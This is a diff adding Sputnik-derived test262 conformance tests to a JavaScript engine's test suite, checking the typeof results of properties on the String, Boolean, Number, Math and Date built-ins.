--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T5.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check type of various properties
+ *
+ * @path ch11/11.2/11.2.1/S11.2.1_A4_T5.js
+ * @description Checking properties of the String object
+ */
+
+//CHECK#1-28
+if (typeof String.prototype !== "object") $ERROR('#1: typeof String.prototype === "object". Actual: ' + (typeof String.prototype ));
+if (typeof String['prototype'] !== "object") $ERROR('#2: typeof String["prototype"] === "object". Actual: ' + (typeof String["prototype"] ));
+if (typeof String.fromCharCode !== "function") $ERROR('#3: typeof String.fromCharCode === "function". Actual: ' + (typeof String.fromCharCode ));
+if (typeof String['fromCharCode'] !== "function") $ERROR('#4: typeof String["fromCharCode"] === "function". Actual: ' + (typeof String["fromCharCode"] ));
+if (typeof String.prototype.toString !== "function") $ERROR('#5: typeof String.prototype.toString === "function". Actual: ' + (typeof String.prototype.toString ));
+if (typeof String.prototype['toString'] !== "function") $ERROR('#6: typeof String.prototype["toString"] === "function". Actual: ' + (typeof String.prototype["toString"] ));
+if (typeof String.prototype.constructor !== "function") $ERROR('#7: typeof String.prototype.constructor === "function". Actual: ' + (typeof String.prototype.constructor ));
+if (typeof String.prototype['constructor'] !== "function") $ERROR('#8: typeof String.prototype["constructor"] === "function". Actual: ' + (typeof String.prototype["constructor"] ));
+if (typeof String.prototype.valueOf !== "function") $ERROR('#9: typeof String.prototype.valueOf === "function". Actual: ' + (typeof String.prototype.valueOf ));
+if (typeof String.prototype['valueOf'] !== "function") $ERROR('#10: typeof String.prototype["valueOf"] === "function". Actual: ' + (typeof String.prototype["valueOf"] ));
+if (typeof String.prototype.charAt !== "function") $ERROR('#11: typeof String.prototype.charAt === "function". Actual: ' + (typeof String.prototype.charAt ));
+if (typeof String.prototype['charAt'] !== "function") $ERROR('#12: typeof String.prototype["charAt"] === "function". Actual: ' + (typeof String.prototype["charAt"] ));
+if (typeof String.prototype.charCodeAt !== "function") $ERROR('#13: typeof String.prototype.charCodeAt === "function". Actual: ' + (typeof String.prototype.charCodeAt ));
+if (typeof String.prototype['charCodeAt'] !== "function") $ERROR('#14: typeof String.prototype["charCodeAt"] === "function". Actual: ' + (typeof String.prototype["charCodeAt"] ));
+if (typeof String.prototype.indexOf !== "function") $ERROR('#15: typeof String.prototype.indexOf === "function". Actual: ' + (typeof String.prototype.indexOf ));
+if (typeof String.prototype['indexOf'] !== "function") $ERROR('#16: typeof String.prototype["indexOf"] === "function". Actual: ' + (typeof String.prototype["indexOf"] ));
+if (typeof String.prototype.lastIndexOf !== "function") $ERROR('#17: typeof String.prototype.lastIndexOf === "function". Actual: ' + (typeof String.prototype.lastIndexOf ));
+if (typeof String.prototype['lastIndexOf'] !== "function") $ERROR('#18: typeof String.prototype["lastIndexOf"] === "function". Actual: ' + (typeof String.prototype["lastIndexOf"] ));
+if (typeof String.prototype.split !== "function") $ERROR('#19: typeof String.prototype.split === "function". Actual: ' + (typeof String.prototype.split ));
+if (typeof String.prototype['split'] !== "function") $ERROR('#20: typeof String.prototype["split"] === "function". Actual: ' + (typeof String.prototype["split"] ));
+if (typeof String.prototype.substring !== "function") $ERROR('#21: typeof String.prototype.substring === "function". Actual: ' + (typeof String.prototype.substring ));
+if (typeof String.prototype['substring'] !== "function") $ERROR('#22: typeof String.prototype["substring"] === "function". Actual: ' + (typeof String.prototype["substring"] ));
+if (typeof String.prototype.toLowerCase !== "function") $ERROR('#23: typeof String.prototype.toLowerCase === "function". Actual: ' + (typeof String.prototype.toLowerCase ));
+if (typeof String.prototype['toLowerCase'] !== "function") $ERROR('#24: typeof String.prototype["toLowerCase"] === "function". Actual: ' + (typeof String.prototype["toLowerCase"] ));
+if (typeof String.prototype.toUpperCase !== "function") $ERROR('#25: typeof String.prototype.toUpperCase === "function". Actual: ' + (typeof String.prototype.toUpperCase ));
+if (typeof String.prototype['toUpperCase'] !== "function") $ERROR('#26: typeof Array.prototype === "object". Actual: ' + (typeof Array.prototype ));
+if (typeof String.prototype.length !== "number") $ERROR('#27: typeof String.prototype.length === "number". Actual: ' + (typeof String.prototype.length ));
+if (typeof String.prototype['length'] !== "number") $ERROR('#28: typeof String.prototype["length"] === "number". Actual: ' + (typeof String.prototype["length"] ));
+
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T6.js b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T6.js
new file mode 100644
index 000000000..0d8668846
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T6.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check type of various properties
+ *
+ * @path ch11/11.2/11.2.1/S11.2.1_A4_T6.js
+ * @description Checking properties of the Boolean object
+ */
+
+//CHECK#1-8
+if (typeof Boolean.prototype !== "object") $ERROR('#1: typeof Boolean.prototype === "object". Actual: ' + (typeof Boolean.prototype ));
+if (typeof Boolean['prototype'] !== "object") $ERROR('#2: typeof Boolean["prototype"] === "object". Actual: ' + (typeof Boolean["prototype"] ));
+if (typeof Boolean.constructor !== "function") $ERROR('#3: typeof Boolean.constructor === "function". Actual: ' + (typeof Boolean.constructor ));
+if (typeof Boolean['constructor'] !== "function") $ERROR('#4: typeof Boolean["constructor"] === "function". Actual: ' + (typeof Boolean["constructor"] ));
+if (typeof Boolean.prototype.valueOf !== "function") $ERROR('#5: typeof Boolean.prototype.valueOf === "function". Actual: ' + (typeof Boolean.prototype.valueOf ));
+if (typeof Boolean.prototype['valueOf'] !== "function") $ERROR('#6: typeof Boolean.prototype["valueOf"] === "function". Actual: ' + (typeof Boolean.prototype["valueOf"] ));
+if (typeof Boolean.prototype.toString !== "function") $ERROR('#7: typeof Boolean.prototype.toString === "function". Actual: ' + (typeof Boolean.prototype.toString ));
+if (typeof Boolean.prototype['toString'] !== "function") $ERROR('#8: typeof Boolean.prototype["toString"] === "function". Actual: ' + (typeof Boolean.prototype["toString"] ));
+
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T7.js b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T7.js
new file mode 100644
index 000000000..7d8826d80
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T7.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check type of various properties
+ *
+ * @path ch11/11.2/11.2.1/S11.2.1_A4_T7.js
+ * @description Checking properties of the Number object
+ */
+
+//CHECK#1-16
+if (typeof Number.MAX_VALUE !== "number") $ERROR('#1: typeof Number.MAX_VALUE === "number". Actual: ' + (typeof Number.MAX_VALUE ));
+if (typeof Number['MAX_VALUE'] !== "number") $ERROR('#2: typeof Number["MAX_VALUE"] === "number". Actual: ' + (typeof Number["MAX_VALUE"] ));
+if (typeof Number.MIN_VALUE !== "number") $ERROR('#3: typeof Number.MIN_VALUE === "number". Actual: ' + (typeof Number.MIN_VALUE ));
+if (typeof Number['MIN_VALUE'] !== "number") $ERROR('#4: typeof Number["MIN_VALUE"] === "number". Actual: ' + (typeof Number["MIN_VALUE"] ));
+if (typeof Number.NaN !== "number") $ERROR('#5: typeof Number.NaN === "number". Actual: ' + (typeof Number.NaN ));
+if (typeof Number['NaN'] !== "number") $ERROR('#6: typeof Number["NaN"] === "number". Actual: ' + (typeof Number["NaN"] ));
+if (typeof Number.NEGATIVE_INFINITY !== "number") $ERROR('#7: typeof Number.NEGATIVE_INFINITY === "number". Actual: ' + (typeof Number.NEGATIVE_INFINITY ));
+if (typeof Number['NEGATIVE_INFINITY'] !== "number") $ERROR('#8: typeof Number["NEGATIVE_INFINITY"] === "number". Actual: ' + (typeof Number["NEGATIVE_INFINITY"] ));
+if (typeof Number.POSITIVE_INFINITY !== "number") $ERROR('#9: typeof Number.POSITIVE_INFINITY === "number". Actual: ' + (typeof Number.POSITIVE_INFINITY ));
+if (typeof Number['POSITIVE_INFINITY'] !== "number") $ERROR('#10: typeof Number["POSITIVE_INFINITY"] === "number". Actual: ' + (typeof Number["POSITIVE_INFINITY"] ));
+if (typeof Number.prototype.toString !== "function") $ERROR('#11: typeof Number.prototype.toString === "function". Actual: ' + (typeof Number.prototype.toString ));
+if (typeof Number.prototype['toString'] !== "function") $ERROR('#12: typeof Number.prototype["toString"] === "function". Actual: ' + (typeof Number.prototype["toString"] ));
+if (typeof Number.prototype.constructor !== "function") $ERROR('#13: typeof Number.prototype.constructor === "function". Actual: ' + (typeof Number.prototype.constructor ));
+if (typeof Number.prototype['constructor'] !== "function") $ERROR('#14: typeof Number.prototype["constructor"] === "function". Actual: ' + (typeof Number.prototype["constructor"] ));
+if (typeof Number.prototype.valueOf !== "function") $ERROR('#15: typeof Number.prototype.valueOf === "function". Actual: ' + (typeof Number.prototype.valueOf ));
+if (typeof Number.prototype['valueOf'] !== "function") $ERROR('#16: typeof Number.prototype["valueOf"] === "function". Actual: ' + (typeof Number.prototype["valueOf"] ));
+
+
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T8.js b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T8.js
new file mode 100644
index 000000000..fd3846e9c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T8.js
@@ -0,0 +1,65 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check type of various properties
+ *
+ * @path ch11/11.2/11.2.1/S11.2.1_A4_T8.js
+ * @description Checking properties of the Math Object
+ */
+
+//CHECK#1-52
+if (typeof Math.E !== "number") $ERROR('#1: typeof Math.E === "number". Actual: ' + (typeof Math.E ));
+if (typeof Math['E'] !== "number") $ERROR('#2: typeof Math["E"] === "number". Actual: ' + (typeof Math["E"] ));
+if (typeof Math.LN10 !== "number") $ERROR('#3: typeof Math.LN10 === "number". Actual: ' + (typeof Math.LN10 ));
+if (typeof Math['LN10'] !== "number") $ERROR('#4: typeof Math["LN10"] === "number". Actual: ' + (typeof Math["LN10"] ));
+if (typeof Math.LN2 !== "number") $ERROR('#5: typeof Math.LN2 === "number". Actual: ' + (typeof Math.LN2 ));
+if (typeof Math['LN2'] !== "number") $ERROR('#6: typeof Math["LN2"] === "number". Actual: ' + (typeof Math["LN2"] ));
+if (typeof Math.LOG2E !== "number") $ERROR('#7: typeof Math.LOG2E === "number". Actual: ' + (typeof Math.LOG2E ));
+if (typeof Math['LOG2E'] !== "number") $ERROR('#8: typeof Math["LOG2E"] === "number". Actual: ' + (typeof Math["LOG2E"] ));
+if (typeof Math.LOG10E !== "number") $ERROR('#9: typeof Math.LOG10E === "number". Actual: ' + (typeof Math.LOG10E ));
+if (typeof Math['LOG10E'] !== "number") $ERROR('#10: typeof Math["LOG10E"] === "number". Actual: ' + (typeof Math["LOG10E"] ));
+if (typeof Math.PI !== "number") $ERROR('#11: typeof Math.PI === "number". Actual: ' + (typeof Math.PI ));
+if (typeof Math['PI'] !== "number") $ERROR('#12: typeof Math["PI"] === "number". Actual: ' + (typeof Math["PI"] ));
+if (typeof Math.SQRT1_2 !== "number") $ERROR('#13: typeof Math.SQRT1_2 === "number". Actual: ' + (typeof Math.SQRT1_2 ));
+if (typeof Math['SQRT1_2'] !== "number") $ERROR('#14: typeof Math["SQRT1_2"] === "number". Actual: ' + (typeof Math["SQRT1_2"] ));
+if (typeof Math.SQRT2 !== "number") $ERROR('#15: typeof Math.SQRT2 === "number". Actual: ' + (typeof Math.SQRT2 ));
+if (typeof Math['SQRT2'] !== "number") $ERROR('#16: typeof Math["SQRT2"] === "number". Actual: ' + (typeof Math["SQRT2"] ));
+if (typeof Math.abs !== "function") $ERROR('#17: typeof Math.abs === "function". Actual: ' + (typeof Math.abs ));
+if (typeof Math['abs'] !== "function") $ERROR('#18: typeof Math["abs"] === "function". Actual: ' + (typeof Math["abs"] ));
+if (typeof Math.acos !== "function") $ERROR('#19: typeof Math.acos === "function". Actual: ' + (typeof Math.acos ));
+if (typeof Math['acos'] !== "function") $ERROR('#20: typeof Math["acos"] === "function". Actual: ' + (typeof Math["acos"] ));
+if (typeof Math.asin !== "function") $ERROR('#21: typeof Math.asin === "function". Actual: ' + (typeof Math.asin ));
+if (typeof Math['asin'] !== "function") $ERROR('#22: typeof Math["asin"] === "function". Actual: ' + (typeof Math["asin"] ));
+if (typeof Math.atan !== "function") $ERROR('#23: typeof Math.atan === "function". Actual: ' + (typeof Math.atan ));
+if (typeof Math['atan'] !== "function") $ERROR('#24: typeof Math["atan"] === "function". Actual: ' + (typeof Math["atan"] ));
+if (typeof Math.atan2 !== "function") $ERROR('#25: typeof Math.atan2 === "function". Actual: ' + (typeof Math.atan2 ));
+if (typeof Math['atan2'] !== "function") $ERROR('#26: typeof Math["atan2"] === "function". Actual: ' + (typeof Math["atan2"] ));
+if (typeof Math.ceil !== "function") $ERROR('#27: typeof Math.ceil === "function". Actual: ' + (typeof Math.ceil ));
+if (typeof Math['ceil'] !== "function") $ERROR('#28: typeof Math["ceil"] === "function". Actual: ' + (typeof Math["ceil"] ));
+if (typeof Math.cos !== "function") $ERROR('#29: typeof Math.cos === "function". Actual: ' + (typeof Math.cos ));
+if (typeof Math['cos'] !== "function") $ERROR('#30: typeof Math["cos"] === "function". Actual: ' + (typeof Math["cos"] ));
+if (typeof Math.exp !== "function") $ERROR('#31: typeof Math.exp === "function". Actual: ' + (typeof Math.exp ));
+if (typeof Math['exp'] !== "function") $ERROR('#32: typeof Math["exp"] === "function". Actual: ' + (typeof Math["exp"] ));
+if (typeof Math.floor !== "function") $ERROR('#33: typeof Math.floor === "function". Actual: ' + (typeof Math.floor ));
+if (typeof Math['floor'] !== "function") $ERROR('#34: typeof Math["floor"] === "function". Actual: ' + (typeof Math["floor"] ));
+if (typeof Math.log !== "function") $ERROR('#35: typeof Math.log === "function". Actual: ' + (typeof Math.log ));
+if (typeof Math['log'] !== "function") $ERROR('#36: typeof Math["log"] === "function". Actual: ' + (typeof Math["log"] ));
+if (typeof Math.max !== "function") $ERROR('#37: typeof Math.max === "function". Actual: ' + (typeof Math.max ));
+if (typeof Math['max'] !== "function") $ERROR('#38: typeof Math["max"] === "function". Actual: ' + (typeof Math["max"] ));
+if (typeof Math.min !== "function") $ERROR('#39: typeof Math.min === "function". Actual: ' + (typeof Math.min ));
+if (typeof Math['min'] !== "function") $ERROR('#40: typeof Math["min"] === "function". Actual: ' + (typeof Math["min"] ));
+if (typeof Math.pow !== "function") $ERROR('#41: typeof Math.pow === "function". Actual: ' + (typeof Math.pow ));
+if (typeof Math['pow'] !== "function") $ERROR('#42: typeof Math["pow"] === "function". Actual: ' + (typeof Math["pow"] ));
+if (typeof Math.random !== "function") $ERROR('#43: typeof Math.random === "function". Actual: ' + (typeof Math.random ));
+if (typeof Math['random'] !== "function") $ERROR('#44: typeof Math["random"] === "function". Actual: ' + (typeof Math["random"] ));
+if (typeof Math.round !== "function") $ERROR('#45: typeof Math.round === "function". Actual: ' + (typeof Math.round ));
+if (typeof Math['round'] !== "function") $ERROR('#46: typeof Math["round"] === "function". Actual: ' + (typeof Math["round"] ));
+if (typeof Math.sin !== "function") $ERROR('#47: typeof Math.sin === "function". Actual: ' + (typeof Math.sin ));
+if (typeof Math['sin'] !== "function") $ERROR('#48: typeof Math["sin"] === "function". Actual: ' + (typeof Math["sin"] ));
+if (typeof Math.sqrt !== "function") $ERROR('#49: typeof Math.sqrt === "function". Actual: ' + (typeof Math.sqrt ));
+if (typeof Math['sqrt'] !== "function") $ERROR('#50: typeof Math["sqrt"] === "function". Actual: ' + (typeof Math["sqrt"] ));
+if (typeof Math.tan !== "function") $ERROR('#51: typeof Math.tan === "function". Actual: ' + (typeof Math.tan ));
+if (typeof Math['tan'] !== "function") $ERROR('#52: typeof Math["tan"] === "function". Actual: ' + (typeof Math["tan"] ));
+
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T9.js b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T9.js
new file mode 100644
index 000000000..409d49e58
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.2/11.2.1/S11.2.1_A4_T9.js
@@ -0,0 +1,94 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check type of various properties
+ *
+ * @path ch11/11.2/11.2.1/S11.2.1_A4_T9.js
+ * @description Checking properties of the Date object
+ */
+
+//CHECK#1-86
+if (typeof Date.parse !== "function") $ERROR('#1: typeof Date.parse === "function". Actual: ' + (typeof Date.parse ));
+if (typeof Date['parse'] !== "function") $ERROR('#2: typeof Date["parse"] === "function". Actual: ' + (typeof Date["parse"] ));
+if (typeof Date.prototype !== "object") $ERROR('#3: typeof Date.prototype === "object". Actual: ' + (typeof Date.prototype ));
+if (typeof Date['prototype'] !== "object") $ERROR('#4: typeof Date["prototype"] === "object". Actual: ' + (typeof Date["prototype"] ));
+if (typeof Date.UTC !== "function") $ERROR('#5: typeof Date.UTC === "function". Actual: ' + (typeof Date.UTC ));
+if (typeof Date['UTC'] !== "function") $ERROR('#6: typeof Date["UTC"] === "function". Actual: ' + (typeof Date["UTC"] ));
+if (typeof Date.prototype.constructor !== "function") $ERROR('#7: typeof Date.prototype.constructor === "funvtion". Actual: ' + (typeof Date.prototype.constructor ));
+if (typeof Date.prototype['constructor'] !== "function") $ERROR('#8: typeof Date.prototype["constructor"] === "function". Actual: ' + (typeof Date.prototype["constructor"] ));
+if (typeof Date.prototype.toString !== "function") $ERROR('#9: typeof Date.prototype.toString === "function". Actual: ' + (typeof Date.prototype.toString ));
+if (typeof Date.prototype['toString'] !== "function") $ERROR('#10: typeof Date.prototype["toString"] === "function". Actual: ' + (typeof Date.prototype["toString"] ));
+if (typeof Date.prototype.valueOf !== "function") $ERROR('#11: typeof Date.prototype.valueOf === "function". Actual: ' + (typeof Date.prototype.valueOf ));
+if (typeof Date.prototype['valueOf'] !== "function") $ERROR('#12: typeof Date.prototype["valueOf"] === "function". Actual: ' + (typeof Date.prototype["valueOf"] ));
+if (typeof Date.prototype.getTime !== "function") $ERROR('#13: typeof Date.prototype.getTime === "function". Actual: ' + (typeof Date.prototype.getTime ));
+if (typeof Date.prototype['getTime'] !== "function") $ERROR('#14: typeof Date.prototype["getTime"] === "function". Actual: ' + (typeof Date.prototype["getTime"] ));
+if (typeof Date.prototype.getFullYear !== "function") $ERROR('#17: typeof Date.prototype.getFullYear === "function". Actual: ' + (typeof Date.prototype.getFullYear ));
+if (typeof Date.prototype['getFullYear'] !== "function") $ERROR('#18: typeof Date.prototype["getFullYear"] === "function". Actual: ' + (typeof Date.prototype["getFullYear"] ));
+if (typeof Date.prototype.getUTCFullYear !== "function") $ERROR('#19: typeof Date.prototype.getUTCFullYear === "function". Actual: ' + (typeof Date.prototype.getUTCFullYear ));
+if (typeof Date.prototype['getUTCFullYear'] !== "function") $ERROR('#20: typeof Date.prototype["getUTCFullYear"] === "function". Actual: ' + (typeof Date.prototype["getUTCFullYear"] ));
+if (typeof Date.prototype.getMonth !== "function") $ERROR('#21: typeof Date.prototype.getMonth === "function". Actual: ' + (typeof Date.prototype.getMonth ));
+if (typeof Date.prototype['getMonth'] !== "function") $ERROR('#22: typeof Date.prototype["getMonth"] === "function". Actual: ' + (typeof Date.prototype["getMonth"] ));
+if (typeof Date.prototype.getUTCMonth !== "function") $ERROR('#23: typeof Date.prototype.getUTCMonth === "function". Actual: ' + (typeof Date.prototype.getUTCMonth ));
+if (typeof Date.prototype['getUTCMonth'] !== "function") $ERROR('#24: typeof Date.prototype["getUTCMonth"] === "function". Actual: ' + (typeof Date.prototype["getUTCMonth"] ));
+if (typeof Date.prototype.getDate !== "function") $ERROR('#25: typeof Date.prototype.getDate === "function". Actual: ' + (typeof Date.prototype.getDate ));
+if (typeof Date.prototype['getDate'] !== "function") $ERROR('#26: typeof Date.prototype["getDate"] === "function". Actual: ' + (typeof Date.prototype["getDate"] ));
+if (typeof Date.prototype.getUTCDate !== "function") $ERROR('#27: typeof Date.prototype.getUTCDate === "function". Actual: ' + (typeof Date.prototype.getUTCDate ));
+if (typeof Date.prototype['getUTCDate'] !== "function") $ERROR('#28: typeof Date.prototype["getUTCDate"] === "function". Actual: ' + (typeof Date.prototype["getUTCDate"] ));
+if (typeof Date.prototype.getDay !== "function") $ERROR('#29: typeof Date.prototype.getDay === "function". Actual: ' + (typeof Date.prototype.getDay ));
+if (typeof Date.prototype['getDay'] !== "function") $ERROR('#30: typeof Date.prototype["getDay"] === "function". Actual: ' + (typeof Date.prototype["getDay"] ));
+if (typeof Date.prototype.getUTCDay !== "function") $ERROR('#31: typeof Date.prototype.getUTCDay === "function". Actual: ' + (typeof Date.prototype.getUTCDay ));
+if (typeof Date.prototype['getUTCDay'] !== "function") $ERROR('#32: typeof Date.prototype["getUTCDay"] === "function". Actual: ' + (typeof Date.prototype["getUTCDay"] ));
+if (typeof Date.prototype.getHours !== "function") $ERROR('#33: typeof Date.prototype.getHours === "function". Actual: ' + (typeof Date.prototype.getHours ));
+if (typeof Date.prototype['getHours'] !== "function") $ERROR('#34: typeof Date.prototype["getHours"] === "function". Actual: ' + (typeof Date.prototype["getHours"] ));
+if (typeof Date.prototype.getUTCHours !== "function") $ERROR('#35: typeof Date.prototype.getUTCHours === "function". Actual: ' + (typeof Date.prototype.getUTCHours ));
+if (typeof Date.prototype['getUTCHours'] !== "function") $ERROR('#36: typeof Date.prototype["getUTCHours"] === "function". Actual: ' + (typeof Date.prototype["getUTCHours"] ));
+if (typeof Date.prototype.getMinutes !== "function") $ERROR('#37: typeof Date.prototype.getMinutes === "function". Actual: ' + (typeof Date.prototype.getMinutes ));
+if (typeof Date.prototype['getMinutes'] !== "function") $ERROR('#38: typeof Date.prototype["getMinutes"] === "function". Actual: ' + (typeof Date.prototype["getMinutes"] ));
+if (typeof Date.prototype.getUTCMinutes !== "function") $ERROR('#39: typeof Date.prototype.getUTCMinutes === "function". Actual: ' + (typeof Date.prototype.getUTCMinutes ));
+if (typeof Date.prototype['getUTCMinutes'] !== "function") $ERROR('#40: typeof Date.prototype["getUTCMinutes"] === "function". Actual: ' + (typeof Date.prototype["getUTCMinutes"] ));
+if (typeof Date.prototype.getSeconds !== "function") $ERROR('#41: typeof Date.prototype.getSeconds === "function". Actual: ' + (typeof Date.prototype.getSeconds ));
+if (typeof Date.prototype['getSeconds'] !== "function") $ERROR('#42: typeof Date.prototype["getSeconds"] === "function". Actual: ' + (typeof Date.prototype["getSeconds"] ));
+if (typeof Date.prototype.getUTCSeconds !== "function") $ERROR('#43: typeof Date.prototype.getUTCSeconds === "function". Actual: ' + (typeof Date.prototype.getUTCSeconds ));
+if (typeof Date.prototype['getUTCSeconds'] !== "function") $ERROR('#44: typeof Date.prototype["getUTCSeconds"] === "function". Actual: ' + (typeof Date.prototype["getUTCSeconds"] ));
+if (typeof Date.prototype.getMilliseconds !== "function") $ERROR('#45: typeof Date.prototype.getMilliseconds === "function". Actual: ' + (typeof Date.prototype.getMilliseconds ));
+if (typeof Date.prototype['getMilliseconds'] !== "function") $ERROR('#46: typeof Date.prototype["getMilliseconds"] === "function". Actual: ' + (typeof Date.prototype["getMilliseconds"] ));
+if (typeof Date.prototype.getUTCMilliseconds !== "function") $ERROR('#47: typeof Date.prototype.getUTCMilliseconds === "function". Actual: ' + (typeof Date.prototype.getUTCMilliseconds ));
+if (typeof Date.prototype['getUTCMilliseconds'] !== "function") $ERROR('#48: typeof Date.prototype["getUTCMilliseconds"] === "function". Actual: ' + (typeof Date.prototype["getUTCMilliseconds"] ));
+if (typeof Date.prototype.setTime !== "function") $ERROR('#49: typeof Date.prototype.setTime === "function". Actual: ' + (typeof Date.prototype.setTime ));
+if (typeof Date.prototype['setTime'] !== "function") $ERROR('#50: typeof Date.prototype["setTime"] === "function". Actual: ' + (typeof Date.prototype["setTime"] ));
+if (typeof Date.prototype.setMilliseconds !== "function") $ERROR('#51: typeof Date.prototype.setMilliseconds === "function". Actual: ' + (typeof Date.prototype.setMilliseconds ));
+if (typeof Date.prototype['setMilliseconds'] !== "function") $ERROR('#52: typeof Date.prototype["setMilliseconds"] === "function". Actual: ' + (typeof Date.prototype["setMilliseconds"] ));
+if (typeof Date.prototype.setUTCMilliseconds !== "function") $ERROR('#53: typeof Date.prototype.setUTCMilliseconds === "function". Actual: ' + (typeof Date.prototype.setUTCMilliseconds ));
+if (typeof Date.prototype['setUTCMilliseconds'] !== "function") $ERROR('#54: typeof Date.prototype["setUTCMilliseconds"] === "function". Actual: ' + (typeof Date.prototype["setUTCMilliseconds"] ));
+if (typeof Date.prototype.setSeconds !== "function") $ERROR('#55: typeof Date.prototype.setSeconds === "function". Actual: ' + (typeof Date.prototype.setSeconds ));
+if (typeof Date.prototype['setSeconds'] !== "function") $ERROR('#56: typeof Date.prototype["setSeconds"] === "function". Actual: ' + (typeof Date.prototype["setSeconds"] ));
+if (typeof Date.prototype.setUTCSeconds !== "function") $ERROR('#57: typeof Date.prototype.setUTCSeconds === "function". Actual: ' + (typeof Date.prototype.setUTCSeconds ));
+if (typeof Date.prototype['setUTCSeconds'] !== "function") $ERROR('#58: typeof Date.prototype["setUTCSeconds"] === "function". Actual: ' + (typeof Date.prototype["setUTCSeconds"] ));
+if (typeof Date.prototype.setMinutes !== "function") $ERROR('#59: typeof Date.prototype.setMinutes === "function". Actual: ' + (typeof Date.prototype.setMinutes ));
+if (typeof Date.prototype['setMinutes'] !== "function") $ERROR('#60: typeof Date.prototype["setMinutes"] === "function". Actual: ' + (typeof Date.prototype["setMinutes"] ));
+if (typeof Date.prototype.setUTCMinutes !== "function") $ERROR('#61: typeof Date.prototype.setUTCMinutes === "function". Actual: ' + (typeof Date.prototype.setUTCMinutes ));
+if (typeof Date.prototype['setUTCMinutes'] !== "function") $ERROR('#62: typeof Date.prototype["setUTCMinutes"] === "function". Actual: ' + (typeof Date.prototype["setUTCMinutes"] ));
+if (typeof Date.prototype.setHours !== "function") $ERROR('#63: typeof Date.prototype.setHours === "function". Actual: ' + (typeof Date.prototype.setHours ));
+if (typeof Date.prototype['setHours'] !== "function") $ERROR('#64: typeof Date.prototype["setHours"] === "function". Actual: ' + (typeof Date.prototype["setHours"] ));
+if (typeof Date.prototype.setUTCHours !== "function") $ERROR('#65: typeof Date.prototype.setUTCHours === "function". Actual: ' + (typeof Date.prototype.setUTCHours ));
+if (typeof Date.prototype['setUTCHours'] !== "function") $ERROR('#66: typeof Date.prototype["setUTCHours"] === "function". Actual: ' + (typeof Date.prototype["setUTCHours"] ));
+if (typeof Date.prototype.setDate !== "function") $ERROR('#67: typeof Date.prototype.setDate === "function". Actual: ' + (typeof Date.prototype.setDate ));
+if (typeof Date.prototype['setDate'] !== "function") $ERROR('#68: typeof Date.prototype["setDate"] === "function". Actual: ' + (typeof Date.prototype["setDate"] ));
+if (typeof Date.prototype.setUTCDate !== "function") $ERROR('#69: typeof Date.prototype.setUTCDate === "function". Actual: ' + (typeof Date.prototype.setUTCDate ));
+if (typeof Date.prototype['setUTCDate'] !== "function") $ERROR('#70: typeof Date.prototype["setUTCDate"] === "function". Actual: ' + (typeof Date.prototype["setUTCDate"] ));
+if (typeof Date.prototype.setMonth !== "function") $ERROR('#71: typeof Date.prototype.setMonth === "function". Actual: ' + (typeof Date.prototype.setMonth ));
+if (typeof Date.prototype['setMonth'] !== "function") $ERROR('#72: typeof Date.prototype["setMonth"] === "function". Actual: ' + (typeof Date.prototype["setMonth"] ));
+if (typeof Date.prototype.setUTCMonth !== "function") $ERROR('#73: typeof Date.prototype.setUTCMonth === "function". Actual: ' + (typeof Date.prototype.setUTCMonth ));
+if (typeof Date.prototype['setUTCMonth'] !== "function") $ERROR('#74: typeof Date.prototype["setUTCMonth"] === "function". Actual: ' + (typeof Date.prototype["setUTCMonth"] ));
+if (typeof Date.prototype.setFullYear !== "function") $ERROR('#75: typeof Date.prototype.setFullYear === "function". Actual: ' + (typeof Date.prototype.setFullYear ));
+if (typeof Date.prototype['setFullYear'] !== "function") $ERROR('#76: typeof Date.prototype["setFullYear"] === "function". Actual: ' + (typeof Date.prototype["setFullYear"] ));
+if (typeof Date.prototype.setUTCFullYear !== "function") $ERROR('#77: typeof Date.prototype.setUTCFullYear === "function". Actual: ' + (typeof Date.prototype.setUTCFullYear ));
+if (typeof Date.prototype['setUTCFullYear'] !== "function") $ERROR('#78: typeof Date.prototype["setUTCFullYear"] === "function". Actual: ' + (typeof Date.prototype["setUTCFullYear"] ));
+if (typeof Date.prototype.toLocaleString !== "function") $ERROR('#81: typeof Date.prototype.toLocaleString === "function". Actual: ' + (typeof Date.prototype.toLocaleString ));
+if (typeof Date.prototype['toLocaleString'] !== "function") $ERROR('#82: typeof Date.prototype["toLocaleString"] === "function". Actual: ' + (typeof Date.prototype["toLocaleString"] ));
+if (typeof Date.prototype.toUTCString !== "function") $ERROR('#83: typeof Date.prototype.toUTCString === "function". Actual: ' + (typeof Date.prototype.toUTCString ));
+if (typeof Date.prototype['toUTCString'] !== "function") $ERROR('#84: typeof Date.prototype["toUTCString"] === "function". Actual: ' + (typeof Date.prototype["toUTCString"] ));
+
+
+
diff --git a/js/src/tests/test262/ch11/11.2/11.2.1/browser.js b/js/src/tests/test262/ch11/11.2/11.2.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
